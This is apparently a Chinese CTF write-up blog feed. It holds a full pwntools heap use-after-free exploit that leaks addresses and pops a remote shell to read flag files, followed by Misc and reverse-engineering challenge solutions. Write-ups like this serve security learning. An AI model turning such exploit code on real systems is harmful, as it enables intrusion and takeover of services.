&lt;p&gt;再次触发 &lt;code&gt;login&lt;/code&gt; 时，程序会执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;system(&quot;/bin/sh&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进而获取 shell 并读取 flag。&lt;/p&gt;
&lt;p&gt;exp如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
from pwn import *
import time

context(os=&quot;linux&quot;, arch=&quot;amd64&quot;)
context.log_level = &quot;info&quot;

HOST = &quot;47.99.147.34&quot;
PORT = 19588
BIN_PATH = &quot;./login&quot;

# binary offsets (PIE)
SHOW_OFF      = 0x9D0
PUTS_GOT_OFF  = 0x201F98

# libc-2.23-0ubuntu11.3 offsets
PUTS_OFF      = 0x6F6A0
SYSTEM_OFF    = 0x453A0
BINSH_OFF     = 0x18CE57

# Heap LSBs after the UAF setup
SHOW_PTR_LSB  = 0x98
CHUNK_PTR_LSB = 0x80

PROMPT_T = 6

class DeadSession(Exception):
    &quot;&quot;&quot;Connection died or desynced — restart from scratch.&quot;&quot;&quot;

def open_io(local):
    if local:
        return process(BIN_PATH)
    return remote(HOST, PORT, timeout=12)

class Exploit:
    def __init__(self, io):
        self.io = io
        self.io.timeout = PROMPT_T
        self._first_op = True

    # ---- low-level guards ----------------------------------------------
    def _expect(self, marker, t=PROMPT_T):
        try:
            data = self.io.recvuntil(marker, timeout=t)
        except (EOFError, ConnectionResetError, ConnectionAbortedError,
                BrokenPipeError):
            raise DeadSession(f&quot;EOF waiting for {marker!r}&quot;)
        if marker not in data:
            raise DeadSession(f&quot;desync waiting for {marker!r}, tail={data[-80:]!r}&quot;)
        return data

    def _send(self, data):
        try:
            self.io.send(data)
        except (BrokenPipeError, ConnectionAbortedError, ConnectionResetError):
            raise DeadSession(&quot;write failed&quot;)

    def _sendline(self, data):
        self._send(data + b&quot;\n&quot;)

    def _menu(self):
        self._expect(b&quot;Your choice:&quot;)

    # ---- menu primitives -----------------------------------------------
    def register(self, idx, length, data):
        if not self._first_op:
            self._menu()
        self._first_op = False
        self._sendline(b&quot;2&quot;)
        self._expect(b&quot;Input the user id:&quot;)
        self._sendline(str(idx).encode())
        self._expect(b&quot;Input the password length:&quot;)
        self._sendline(str(length).encode())
        self._expect(b&quot;Input password:&quot;)
        self._send(data)
        self._expect(b&quot;Register success!&quot;)

    def delete(self, idx):
        if not self._first_op:
            self._menu()
        self._first_op = False
        self._sendline(b&quot;3&quot;)
        self._expect(b&quot;Input the user id:&quot;)
        self._sendline(str(idx).encode())
        self._expect(b&quot;Delete success!&quot;)

    def edit(self, idx, data):
        self._menu()
        self._sendline(b&quot;4&quot;)
        self._expect(b&quot;Input the user id:&quot;)
        self._sendline(str(idx).encode())
        self._expect(b&quot;Input new pass:&quot;)
        self._send(data)

    def login(self, idx, data):
        self._menu()
        self._sendline(b&quot;1&quot;)
        self._expect(b&quot;Input the user id:&quot;)
        self._sendline(str(idx).encode())
        self._expect(b&quot;Input the passwords length:&quot;)
        self._sendline(str(len(data)).encode())
        self._expect(b&quot;Input the password:&quot;)
        self._send(data)
        try:
            return self.io.recvuntil(b&quot;Your choice:&quot;, timeout=PROMPT_T)
        except (EOFError, ConnectionResetError, ConnectionAbortedError):
            raise DeadSession(&quot;EOF after login&quot;)

    # ---- UAF setup -----------------------------------------------------
    def setup(self):
        # password0 / user0 / password1 / user1 all into fastbin[0x20]
        self.register(0, 0x20, b&quot;A&quot; * 0x20)
        self.register(1, 0x20, b&quot;B&quot; * 0x20)
        self.delete(1)
        self.delete(0)
        # malloc(24) reuses user_0&apos;s freed chunk as user_2&apos;s password buffer;
        # malloc(0x18) reuses password_0&apos;s freed chunk as user_2&apos;s struct.
        # Now users[0] (dangling) overlaps user_2&apos;s password buffer, so
        # edit(2, ...) writes through users[0]-&amp;gt;{password,show,length}.
        self.register(2, 24, bytes([CHUNK_PTR_LSB]))

    # ---- oracles -------------------------------------------------------
    def oracle_relative(self, lsb, payload):
        self.edit(2, bytes([lsb]))
        return b&quot;Login success!&quot; in self.login(0, payload)

    def oracle_absolute(self, addr, show_addr, payload):
        self.edit(2, p64(addr) + p64(show_addr) + p64(0x20))
        return b&quot;Login success!&quot; in self.login(0, payload)

    # ---- byte-by-byte leaks --------------------------------------------
    def _leak(self, oracle, lsb_or_base, abs_mode, show_addr=None):
        leaked = b&quot;&quot;
        for i in range(5, -1, -1):
            tail = leaked + b&quot;\x00&quot;
            for guess in range(256):
                pwd = bytes([guess]) + tail
                if abs_mode:
                    hit = oracle(lsb_or_base + i, show_addr, pwd)
                else:
                    hit = oracle((lsb_or_base + i) &amp;amp; 0xFF, pwd)
                if hit:
                    leaked = bytes([guess]) + leaked
                    log.info(f&quot;  byte {i}: 0x{guess:02x}  acc={leaked.hex()}&quot;)
                    break
            else:
                raise RuntimeError(f&quot;failed leak at byte {i}&quot;)
        return u64(leaked.ljust(8, b&quot;\x00&quot;))

    def leak_pie_show(self):
        return self._leak(self.oracle_relative, SHOW_PTR_LSB, abs_mode=False)

    def leak_libc_puts(self, puts_got, show_addr):
        return self._leak(self.oracle_absolute, puts_got,
                          abs_mode=True, show_addr=show_addr)

    # ---- finisher ------------------------------------------------------
    def pop_shell(self, system_addr, binsh_addr):
        # The last login() consumed &quot;Your choice:&quot; — start fresh here.
        self._sendline(b&quot;4&quot;)
        self._expect(b&quot;Input the user id:&quot;)
        self._sendline(b&quot;2&quot;)
        self._expect(b&quot;Input new pass:&quot;)
        self._send(p64(binsh_addr) + p64(system_addr) + p64(8))
        time.sleep(0.05)

        self._menu()
        self._sendline(b&quot;1&quot;)
        self._expect(b&quot;Input the user id:&quot;)
        self._sendline(b&quot;0&quot;)
        self._expect(b&quot;Input the passwords length:&quot;)
        self._sendline(b&quot;8&quot;)
        self._expect(b&quot;Input the password:&quot;)
        self._send(b&quot;/bin/sh\x00&quot;)

        time.sleep(0.4)
        self.io.sendline(
            b&quot;id; cat /flag* 2&amp;gt;/dev/null; cat /home/*/flag* 2&amp;gt;/dev/null; ls /&quot;
        )
        try:
            out = self.io.recvrepeat(3)
            log.success(f&quot;shell output:\n{out.decode(errors=&apos;replace&apos;)}&quot;)
        except Exception:
            pass
        self.io.interactive()

def run_round(local):
    io = open_io(local)
    try:
        ex = Exploit(io)
        ex.setup()

        log.info(&quot;phase 1: leak PIE via show pointer&quot;)
        show_addr = ex.leak_pie_show()
        pie = show_addr - SHOW_OFF
        puts_got = pie + PUTS_GOT_OFF
        log.success(f&quot;show={hex(show_addr)} pie={hex(pie)} puts_got={hex(puts_got)}&quot;)

        log.info(&quot;phase 2: leak libc via puts@got&quot;)
        puts_addr = ex.leak_libc_puts(puts_got, show_addr)
        libc = puts_addr - PUTS_OFF
        system_addr = libc + SYSTEM_OFF
        binsh_addr = libc + BINSH_OFF
        log.success(f&quot;puts={hex(puts_addr)} libc={hex(libc)} system={hex(system_addr)}&quot;)

        log.info(&quot;phase 3: trigger system(\&quot;/bin/sh\&quot;)&quot;)
        ex.pop_shell(system_addr, binsh_addr)
    finally:
        try:
            io.close()
        except Exception:
            pass

def main():
    local = bool(args.LOCAL)
    rounds = int(args.ROUNDS) if args.ROUNDS else 20

    for r in range(rounds):
        log.info(f&quot;=== round {r + 1}/{rounds} ===&quot;)
        try:
            run_round(local)
            return
        except DeadSession as e:
            log.warn(f&quot;dead session: {e}&quot;)
        except RuntimeError as e:
            log.warn(f&quot;runtime: {e}&quot;)
        except Exception as e:
            log.warn(f&quot;unexpected: {e!r}&quot;)
        time.sleep(0.5)
    log.error(&quot;exhausted retries&quot;)

if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-61.png&quot; alt=&quot;Figure 61&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Misc&lt;/h1&gt;
&lt;h2&gt;像素中的秘密&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-62.png&quot; alt=&quot;Figure 62&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;NG 结构拆解&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;PNG 的标准布局是 &lt;code&gt;signature\(8\) \+ chunks\.\.\.&lt;/code&gt;，每个 chunk 形如 &lt;code&gt;length\(4\) \+ type\(4\) \+ data \+ crc\(4\)&lt;/code&gt;。逐 chunk 解析后：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;偏移&lt;/th&gt;
&lt;th&gt;chunk&lt;/th&gt;
&lt;th&gt;长度&lt;/th&gt;
&lt;th&gt;CRC 校验&lt;/th&gt;
&lt;th&gt;备注&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;IHDR&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;✅ 通过&lt;/td&gt;
&lt;td&gt;64×64 RGB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;33&lt;/td&gt;
&lt;td&gt;IDAT&lt;/td&gt;
&lt;td&gt;124&lt;/td&gt;
&lt;td&gt;✅ 通过&lt;/td&gt;
&lt;td&gt;像素数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;169&lt;/td&gt;
&lt;td&gt;IEND&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;✅ 通过&lt;/td&gt;
&lt;td&gt;PNG 结束标志&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;按规范，&lt;strong&gt;IEND 之后不应该再有任何字节&lt;/strong&gt;。这里多出了 64 字节，肯定是出题人塞进去的载荷。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-63.png&quot; alt=&quot;Figure 63&quot; /&gt;&lt;/p&gt;
&lt;p&gt;附加数据如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00000000 69cb3444 e6741ecc fec75329
8b2b8b36 5de383f9 b6a8455f aa22d9fa
801804f6 7e1336a0 8483d711 bb2c210c
fb1ee500 5f32e934 03862da8 e71ab15c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先验证一下图像本体没有 LSB 之类的隐写：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from PIL import Image
img = Image.open(&quot;image_08.png&quot;)
print(set(img.getdata()))   # {(255, 255, 255)}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只有一个像素值 `(255, 255, 255)`，所以 LSB / 位平面 / 调色板这些&lt;strong&gt;都不可能&lt;/strong&gt;藏数据。题目标题里的&quot;像素&quot;是 misdirection（误导），真正的秘密在 IEND 之外。&lt;/p&gt;
&lt;p&gt;对 64 字节做特征分析：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;熵 (Shannon entropy)  : 5.60 / 8.00
字节频率              : 大致均匀分布
可打印 ASCII 占比     : 21/64 ≈ 33%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;熵 5.6 说明数据&lt;strong&gt;不是纯随机&lt;/strong&gt;也不是普通文本，符合&quot;加密数据&quot;或&quot;压缩数据&quot;的特征。&lt;/p&gt;
&lt;p&gt;观察整体结构，把 64 字节拆成 8 段 8 字节：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0: 00 00 00 00 69 cb 34 44   ← 前 4 字节为 0，后 4 字节像 32 位整数
1: e6 74 1e cc fe c7 53 29   ← 高熵
2: 8b 2b 8b 36 5d e3 83 f9
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第 0 段的&quot;4 字节零 + 4 字节随机&quot;是非常典型的 &lt;strong&gt;&quot;32 位整数用 8 字节大端存储&quot;&lt;/strong&gt; 模式。常见的几种可能：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;解释&lt;/th&gt;
&lt;th&gt;后续数据&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;8 字节种子（实际 32 位）&lt;/td&gt;
&lt;td&gt;后 56 字节 = 流密码密文&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8 字节 IV（实际 32 位）&lt;/td&gt;
&lt;td&gt;后 48~56 字节 = 分组密钥密文&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8 字节长度/版本字段&lt;/td&gt;
&lt;td&gt;后 56 字节 = 实际载荷&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;56 字节不是 16 的倍数&lt;/strong&gt; → 不太可能是 AES-CBC/ECB（块密码会要求 16 字节对齐）。&lt;/p&gt;
&lt;p&gt;反过来，&lt;strong&gt;56 字节适合流密码&lt;/strong&gt;（任意长度都能加解密）。&lt;/p&gt;
&lt;p&gt;流密码用什么生成密钥流？常见的可能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;LCG（线性同余生成器）&lt;/strong&gt;——CTF 里最常见的&quot;自实现弱 PRNG&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Mersenne Twister（Python &lt;code&gt;random&lt;/code&gt; 默认）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;xorshift 系列&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;自定义 LFSR&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;LCG 的优势：实现极短、参数广为人知（C &lt;code&gt;rand&lt;/code&gt;、Java、glibc、Numerical Recipes）。&lt;/p&gt;
&lt;p&gt;试一组&lt;strong&gt;最常见的 LCG 参数表&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;名称&lt;/th&gt;
&lt;th&gt;乘数 a&lt;/th&gt;
&lt;th&gt;增量 c&lt;/th&gt;
&lt;th&gt;模数 m&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Numerical Recipes&lt;/td&gt;
&lt;td&gt;1664525&lt;/td&gt;
&lt;td&gt;1013904223&lt;/td&gt;
&lt;td&gt;2³²&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;glibc rand&lt;/td&gt;
&lt;td&gt;1103515245&lt;/td&gt;
&lt;td&gt;12345&lt;/td&gt;
&lt;td&gt;2³¹&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MS Visual C&lt;/td&gt;
&lt;td&gt;214013&lt;/td&gt;
&lt;td&gt;2531011&lt;/td&gt;
&lt;td&gt;2³¹&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Borland C&lt;/td&gt;
&lt;td&gt;22695477&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;2³²&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;每组都试一遍：&quot;种子 = 前 8 字节 mod 2³²，跑 56 轮取低 8 位作为密钥流，与后 56 字节 XOR&quot;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def try_lcg(seed, mul, add, mod, ct):
    x = seed % mod
    out = bytearray()
    for c in ct:
        x = (mul * x + add) % mod
        out.append(c ^ (x &amp;amp; 0xFF))
    return bytes(out)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;试到 &lt;strong&gt;Numerical Recipes&lt;/strong&gt; `(1664525, 1013904223, 2³²)` 时，输出变成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;b&apos;5bctImREPUNVbqJmUNHWmXHFkVQF1qoDw5JIlf&apos; + b&apos;\x00&apos; * 18
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;中间结果 &lt;code&gt;5bctImREPUNVbqJmUNHWmXHFkVQF1qoDw5JIlf&lt;/code&gt; 字符集是 &lt;code&gt;\[0\-9 a\-z A\-Z\]&lt;/code&gt;，没有 &lt;code&gt;\+/=&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这正好是 &lt;strong&gt;base62 字母表&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;base62 解码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def base62_decode(s):
    alpha = &quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;
    n = 0
    for ch in s:
        n = n * 62 + alpha.index(ch)
    return n.to_bytes((n.bit_length() + 7) // 8, &quot;big&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出：&lt;/p&gt;
&lt;p&gt;flag{xor_with_pseudo_random}&lt;/p&gt;
&lt;p&gt;完整的exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from __future__ import annotations
from pathlib import Path
from typing import Iterator
import struct
import sys

PNG_SIGNATURE = b&quot;\x89PNG\r\n\x1a\n&quot;
B62_ALPHABET = &quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;
B62_INDEX = {c: i for i, c in enumerate(B62_ALPHABET)}

# Numerical Recipes 的 LCG 常数
LCG_MUL = 1664525
LCG_ADD = 1013904223
LCG_MOD = 1 &amp;lt;&amp;lt; 32

def extract_after_iend(path: str | Path) -&amp;gt; bytes:
 
    data = Path(path).read_bytes()
    if not data.startswith(PNG_SIGNATURE):
        raise ValueError(f&quot;{path} is not a PNG file&quot;)

    pos = len(PNG_SIGNATURE)
    while pos + 12 &amp;lt;= len(data):
        (length,) = struct.unpack(&quot;&amp;gt;I&quot;, data[pos:pos + 4])
        chunk_type = data[pos + 4:pos + 8]

        end = pos + 8 + length + 4  # type(4)+data(N)+crc(4) 都已在 length 之外
        if end &amp;gt; len(data):
            raise ValueError(
                f&quot;chunk at offset {pos} ({chunk_type!r}) overruns file&quot;
            )

        pos = end
        if chunk_type == b&quot;IEND&quot;:
            return data[pos:]

    raise ValueError(&quot;IEND chunk not found&quot;)

def lcg_keystream(seed: int) -&amp;gt; Iterator[int]:

    x = seed &amp;amp; 0xFFFFFFFF
    while True:
        x = (LCG_MUL * x + LCG_ADD) % LCG_MOD
        yield x &amp;amp; 0xFF

def xor_with_lcg(data: bytes, seed: int) -&amp;gt; bytes:
    ks = lcg_keystream(seed)
    return bytes(b ^ next(ks) for b in data)

def base62_decode(s: str) -&amp;gt; bytes:
   
    n = 0
    for ch in s:
        try:
            n = n * 62 + B62_INDEX[ch]
        except KeyError:
            raise ValueError(f&quot;invalid base62 char: {ch!r}&quot;)
    if n == 0:
        return b&quot;\x00&quot;
    return n.to_bytes((n.bit_length() + 7) // 8, &quot;big&quot;)

def solve(png_path: str | Path) -&amp;gt; str:
    tail = extract_after_iend(png_path)
    if len(tail) &amp;lt; 8:
        raise ValueError(f&quot;appended payload too short: {len(tail)} bytes&quot;)

    seed = int.from_bytes(tail[:8], &quot;big&quot;)
    cipher = tail[8:]

    middle_bytes = xor_with_lcg(cipher, seed).rstrip(b&quot;\x00&quot;)
    middle = middle_bytes.decode(&quot;ascii&quot;)
    flag = base62_decode(middle).decode(&quot;utf-8&quot;)

    print(f&quot;[+] file        : {png_path}&quot;)
    print(f&quot;[+] tail length : {len(tail)}&quot;)
    print(f&quot;[+] seed (raw)  : {tail[:8].hex()}&quot;)
    print(f&quot;[+] seed (eff.) : 0x{seed &amp;amp; 0xFFFFFFFF:08x}&quot;)
    print(f&quot;[+] cipher hex  : {cipher.hex()}&quot;)
    print(f&quot;[+] middle b62  : {middle}&quot;)
    print(f&quot;[+] flag        : {flag}&quot;)
    return flag

if __name__ == &quot;__main__&quot;:
    target = sys.argv[1] if len(sys.argv) &amp;gt; 1 else 
    solve(target)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-64.png&quot; alt=&quot;Figure 64&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;幻影&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-65.png&quot; alt=&quot;Figure 65&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;题目给的是一个bin文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-66.png&quot; alt=&quot;Figure 66&quot; /&gt;&lt;/p&gt;
&lt;p&gt;是 RAR 文件头，但实际是个伪装的文本文件，里面包含提示 BASE64 PLUS XOR、假 flag、和真正的 base64 数据&lt;/p&gt;
&lt;p&gt;把 base64 解码后的前 5 字节和 flag{ 异或一下：&lt;/p&gt;
&lt;p&gt;密文前5字节 = 0a 00 0d 0b 17&lt;/p&gt;
&lt;p&gt;明文前5字节 = 66 6c 61 67 7b   (&apos;f&apos;,&apos;l&apos;,&apos;a&apos;,&apos;g&apos;,&apos;{&apos;)&lt;/p&gt;
&lt;p&gt;异或结果   = 6c 6c 6c 6c 6c   (&apos;l&apos;,&apos;l&apos;,&apos;l&apos;,&apos;l&apos;,&apos;l&apos;)&lt;/p&gt;
&lt;p&gt;说明 key 就是单字节 0x6c，循环异或整个密文&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64

with open(&apos;data.bin&apos;, &apos;rb&apos;) as f:
    raw = f.read()

b64 = raw.split(b&apos;\n&apos;)[-1].strip()

cipher = base64.b64decode(b64)
known = b&apos;flag{&apos;
key = bytes(c ^ p for c, p in zip(cipher, known))
print(&apos;[*] recovered key bytes:&apos;, key)

xor_key = key[0]
flag = bytes(b ^ xor_key for b in cipher)
print(&apos;[+] flag:&apos;, flag.decode())

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-67.png&quot; alt=&quot;Figure 67&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{2fdb21c8-b864-49d0-ac73-c4bc51e7e87f}&lt;/p&gt;
&lt;h2&gt;签到题-损坏的压缩包&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-68.png&quot; alt=&quot;Figure 68&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;拿到附件后，首先查看压缩包内容，发现压缩包中只有一个文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;data.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解压文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unzip archive_04.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看 &lt;code&gt;data\.txt&lt;/code&gt; 内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat data.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到如下字符串：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bWdnbA==
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试进行 Base64 解码：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-69.png&quot; alt=&quot;Figure 69&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解码结果为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mggl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-70.png&quot; alt=&quot;Figure 70&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以flag就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{mggl}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;迷宫&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-71.png&quot; alt=&quot;Figure 71&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;题目入口只有 layer1/data2.zip。但目录树有几个明显的&quot;姿势&quot;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;maze_01/layer1/
  ├── data2.zip                                ← 入口
  └── data2/
      └── secret3/
          ├── hidden4.zip                 ← 第二层 zip
          └── hidden4/
              └── .config/user/backup5/
                  └── vault.bin                 ← 终点
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;三个直觉信号:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;目录命名:layer/data/secret/hidden/backup + 自增数字 1→2→3→4→5,纯迷宫氛围,本身没含义。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;.config/user/:伪装成&quot;配置目录&quot;,误导你以为是普通文件。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;zip 套 zip:data2.zip 里只有 secret3/hidden4.zip,告诉你入口只读 .zip 即可,目录树可以忽略。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;010editor打开bin文件，46 字节,纯可见 ASCII&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-72.png&quot; alt=&quot;Figure 72&quot; /&gt;&lt;/p&gt;
&lt;p&gt;去掉尾巴6d后直接base64&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-73.png&quot; alt=&quot;Figure 73&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{83228b2031aa650acd1f278704e74c31}&lt;/p&gt;
</content:encoded></item><item><title>Polarisctf Reverse</title><link>https://blog-5w0.pages.dev/posts/polarisctf-reverse/</link><guid isPermaLink="true">https://blog-5w0.pages.dev/posts/polarisctf-reverse/</guid><description>Polarisctf Reverse CTF WriteUp</description><pubDate>Tue, 31 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;ez_uds&lt;/h1&gt;
&lt;p&gt;打开一个容器，连接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ncat nc1.ctfplus.cn 12878
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到交互界面&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-01.png&quot; alt=&quot;Figure 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入 27 01，得到seed&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-02.png&quot; alt=&quot;Figure 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;key的生成算法题目给了&lt;/p&gt;
&lt;p&gt;异或，移位，加常数，由seed得到key29 79 67 6C&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def generate_seed():
    return random.randint(0, 0xFFFFFFFF)

def calculate_key(seed):
    key = seed ^ 0xA5A5A5A5
    key = ((key &amp;lt;&amp;lt; 3) | (key &amp;gt;&amp;gt; 29)) &amp;amp; 0xFFFFFFFF
    key = (key + 0x12345678) &amp;amp; 0xFFFFFFFF
    return key
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入27 02 29 79 67 6C&lt;/p&gt;
&lt;p&gt;得到flag&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-03.png&quot; alt=&quot;Figure 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;polarisctf{cd0a2062-2bb9-46b6-abce-dd0b61ea0cb4}&lt;/p&gt;
&lt;h1&gt;Illusion&lt;/h1&gt;
&lt;p&gt;IDA打开main函数&lt;/p&gt;
&lt;p&gt;输入格式被限定为xmctf{},总长度为25，程序会把这括号里的18字节用sub_140001440加密&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-04.png&quot; alt=&quot;Figure 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个加密函数是非常标准的RC4，key就是nev_gona_give_up&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-05.png&quot; alt=&quot;Figure 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按这个逻辑逆回去得到xmctf{nev_gona_letydown\x07}&lt;/p&gt;
&lt;p&gt;这正是这道题目的陷阱&lt;/p&gt;
&lt;p&gt;真正的关键在MessageBoxA，在此函数之前程序先调用了sub_140001000&lt;/p&gt;
&lt;p&gt;它会改写函数开头，把调用导向sub_1400010F0&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-06.png&quot; alt=&quot;Figure 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以接下来分析sub_1400010F0函数&lt;/p&gt;
&lt;p&gt;去全局Destination，对他做一次分组加密，然后和常量比较&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-07.png&quot; alt=&quot;Figure 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果完全相同会改标题为“real world”&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
